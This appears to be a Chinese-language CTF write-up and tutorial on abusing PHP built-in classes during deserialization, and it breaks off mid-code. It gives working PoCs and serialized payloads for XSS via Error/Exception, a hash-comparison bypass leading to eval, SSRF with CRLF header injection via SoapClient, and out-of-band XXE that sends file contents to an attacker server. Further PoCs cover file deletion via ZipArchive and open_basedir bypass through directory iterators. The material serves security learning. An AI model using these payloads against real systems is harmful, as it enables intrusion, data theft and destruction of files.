[DASCTF]ez_serialize-PHP 原生类的利用
ez_serialize
这题直接给出了源代码,源代码也都挺简单的
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctf";
echo new $this->class($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
}
else
{
$a=new A;
}
审一审代码,显眼的反序列化函数,显而易见需要我们找到并构造一条POP链,但是这条POP链的利用函数在源代码中我们是找不到的,这就很恶心人了。慢慢审了一下后,echo new t h i s − > c l a s s ( this->class( this−>class(this->para);我觉得这句话应该就是题目的关键点了
首先
t
h
i
s
−
>
c
l
a
s
s
和
this->class和
this−>class和this->para两个参数可控,再加上前面有个new,那
t
h
i
s
−
>
c
l
a
s
s
铁
定
就
是
类
名
,
this->class铁定就是类名,
this−>class铁定就是类名,this->para应该就是初始化传的参数。再前面还有个echo,那不就是echo一个类将类当对象用吗,这就不得不想到_toString。
找了一圈_toString相关文章有没有啥考点我不知道的,发现没有啥进展。那应该就是考PHP的内置类了
不得不说搜索是门艺术,当时直接搜了PHP内置类
真的是啥也搜不出来,看了一下PHP手册也没发现内置类这种字眼出现
最后搜了PHP的标准库终于看到一点正常的东西了
在PHP里自带的迭代器就是类,难怪怎么都搜不到,应该搜一搜迭代器,迭代器总共也没几个,慢慢看看哪个里面有可用函数就行,这里附上SPL库的链接。PHP SPL
后面一篇关于PHP原生文件操作类的文章
下面贴上脚本
<?php
class A{
public $class='DirectoryIterator';
public $para="/var/www/html";
public $check;
}
$a = new A();
echo serialize($a);
发现一个文件夹,继续看看那个文件夹里有什么
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$a = new A();
echo serialize($a);
题目到这里就完了,做的时候找到了一篇不错的文章学习一下,下面看一下大佬的文章学习一下PHP原生类的利用
PHP 原生类的利用学习
PHP内置类的遍历
我们可以根据下面的方法遍历一下可用的PHP内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
常遇到的几个 PHP 原生类有如下几个:
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement
下面分别分析一下他们的利用
使用 Error/Exception 内置类进行 XSS
Error 内置类
适用于php7版本
在开启报错的情况下
Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。
下面演示如何使用 Error 内置类来构造 XSS。
测试代码:
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
POC:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
成功弹窗
Exception 内置类
适用于php5、7版本
开启报错的情况下
测试代码:
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
POC:
<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);
?>
成功弹窗
使用 Error/Exception 内置类绕过哈希比较
Error类
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
Exception 类
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:
<?php
$a = new Error("payload",1);
echo $a;
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来。
在来看看下一个例子:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
echo "\r\n\r\n";
if($a != $b)
{
echo "a!=b";
}
echo "\r\n\r\n";
if(md5($a) === md5($b))
{
echo "触发_tostring后a==b";
}
可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。
[2020 极客大挑战]Greatphp
题目源代码如下
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
可见,需要进入eval()执行代码需要先通过上面的if语句:
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。
所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。
根据刚才讲的Error类和Exception类中 __toString 方法的特性,我们可以用这两个内置类进行绕过。
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include “/flag” 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。
POC如下:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";
$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
这里 $str = “?><?=include~".urldecode("%D0%99%93%9E%98")."?>”; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:
进入eval()函数会类似于:eval("…Error: <?php payload ?>“)。所以我们要用 ?> 来闭合一下,即 eval(”…Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。
生成的payload如下:
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C111.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A25%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C111.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A25%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
执行获得flag
使用 SoapClient 类进行 SSRF
SoapClient 类
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
<?php
$a = new SoapClient(null,array('location'=>'http://requestbin.net/r/doe3ps5d', 'uri'=>'ssrf'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
首先在requestbin上创建一个监听网址:
然后执行上述代码,如下图所示成功触发SSRF,http://requestbin.net/r/doe3ps5d上面收到了请求信息:
但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
如下测试代码,我们在HTTP头中插入一个cookie:
<?php
$target = 'http://requestbin.net/r/doe3ps5d';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。
如下测试代码:
<?php
$target = 'http://requestbin.net/r/fis249ey';
$post_string = 'data=dir';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
$c = unserialize($a);
$c->aaaa();
echo urlencode($a);
执行代码后,如下图所示,成功插入了我们需要发送的数据包的内容,成功发送POST数据:
bestphp’s revenge
bestphp’s revenge 这道题利用的就是这个点,即对 SoapClient 类进行反序列化触发 SSRF,并配合CRLF构造payload。
进入题目,给出源码:
扫描目录发现flag.php:
可见当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。很明显了,要利用ssrf。
但是这里并没有明显的ssrf利用点,所以我们想到利用PHP原生类SoapClient触发反序列化导致SSRF。并且,由于flag会被插入到session中,所以我们就一定需要携带一个cookie即PHPSESSID去访问它来生成这个session文件。
写出最后的POC:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=7mhqn7k0fu34fmmjq0nbdbpo43\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
生成payload:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D7mhqn7k0fu34fmmjq0nbdbpo43%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=7mhqn7k0fu34fmmjq0nbdbpo43 的session中。
然后,我们就要想办法反序列化这个对象,但这里有没有反序列化点,那么我们怎么办呢?我们在题目源码中发现了session_start();,很明显,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET[‘f’], $_POST); 函数,传入GET:/?f=session_start、POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
这里补一下session的相关知识,可看Y4tacker大佬的文章
session简单介绍
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
php.ini中一些session配置
session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
我们可以用ini_set()或者session_start()来给这些session配置赋值
所以,我们第一次传值先注入上面POC生成的payload创建并得到我们的session:
此时,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=7mhqn7k0fu34fmmjq0nbdbpo43 的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call 方法,造成ssrf去访问flag.php。
所以我们第二次传参如下:
最后第三次传参,我们用我呢自己设置的cookie,去访问index.php
使用 SimpleXMLElement 类进行 XXE
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
SimpleXMLElement 类
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:
可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
[SUCTF 2018]Homework
进入题目,随便注册一个账号,登录作业平台。看到一个 calc 计算器类的代码。有两个按钮,一个用于调用 calc 类实现两位数的四则运算。另一个用于上传文件,提交代码。
calc 计算器类的代码为:
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
我们点击calc按钮,计算2+2=4,我们观察url处的参数,再结合calc计算器类的代码可知module为调用的类,args为类的构造方法的参数:
所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。
首先,我们在vps(1.xxx.xxx.47)上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://1.xxx.xxx.47/send.xml">
%remote;
%all;
%send;
]>
send.xml:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://1.xxx.xxx.47/send.php?file=%file;'>">
send.php:
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>
这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。
如下图所示,成功将网站的源码以base64编码的形式读取并带出到result.txt中
后续过程就不写了,这里主要是尝试SimpleXMLElement 这个内置类来构造 XXE
使用 ZipArchive 类来删除文件
ZipArchive 类
PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。下面我们来看一道CTF题目。
梦里花开牡丹亭
这题没找到复现的环境,没做过,只能直接copy大佬的图了
进入题目,给出源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
开头包含了shell.php,我们可以构造反序列化POC来读取shell.php:
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));
执行POC生成的payload读取到shell.php的源码base64编码:
解码得到shell.php的源码:
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
联合index.php里面的Open类:
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
可知我们只要使 file_get_contents(‘waf.txt’) 读取失败就可以进入 shell($content) 来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。
要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()方法。遍历一下能有删除功能函数:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__wakeup',
'__call',
'__callStatic',
'open'
))) {
print $class . '::' . $method . "\n";
}
}
}
找到了一个ZipArchive类,其中刚好有一个open()方法刚好符合:
ZipArchive::open($filename, $flags = null)
如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:
ZipArchive::open($filename, ZipArchive::OVERWRITE)
删除waf.txt的POC:
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));
生成payload执行后,即可删除waf.txt。接下来就可以使用 n\l /fla* 执行命令读取flag了:
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
PHP 原生文件操作类
可遍历目录类
可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
DirectoryIterator 类
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
如果我们这样:
<?php
$dir=new DirectoryIterator("/");
echo $dir;
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名:
如果想输出全部的文件名我们还需要对$dir对象进行遍历:
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
这里我搭环境的phpstudy仍在D盘,所以它遍历的是D盘的文件,而不是和该php文件在同一目录下的其他文件
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:
<?php
$dir=new DirectoryIterator("glob:///*php*");
echo $dir;
FilesystemIterator 类
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与DirectoryIterator 类也是基本相同的:
<?php
$dir=new FilesystemIterator("/");
echo $dir;
<?php
$dir=new FilesystemIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
<?php
$dir=new FilesystemIterator("glob:///*php*");
echo $dir;
GlobIterator 类
与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
我们知道,向下面这样在单纯的使用 DirectoryIterator 类和 FilesystemIterator 类且没有配合glob://协议进行匹配的时候:
<?php
$dir=new DirectoryIterator("/");
echo $dir;
<?php
$dir=new FilesystemIterator("/");
echo $dir;
其构造函数创建的是一个指定目录的迭代器,当我们使用echo函数输出的时候,会触发这两个类中的 __toString() 方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的,而 GlobIterator 类便可以帮我们在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如,我们在CTF中知道flag在根目录,但是我们不知道flag文件的完整文件名,我们就可以通过类似 GlobIterator(/flag):
<?php
$dir=new GlobIterator("/*flag*");
echo $dir;
使用可遍历目录类绕过 open_basedir
使用 DirectoryIterator 类
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。
测试代码:
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
我们输入 /?whoami=glob:///* 即可列出根目录下的所有文件:
列出Web目录下的所有文件:
使用 FilesystemIterator 类
测试代码:
<?php
$dir = $_GET['whoami'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
# payload一句话的形式:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
列出Web目录下的所有文件:
使用 GlobIterator 类
由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。
测试代码:
<?php
$dir = $_GET['whoami'];
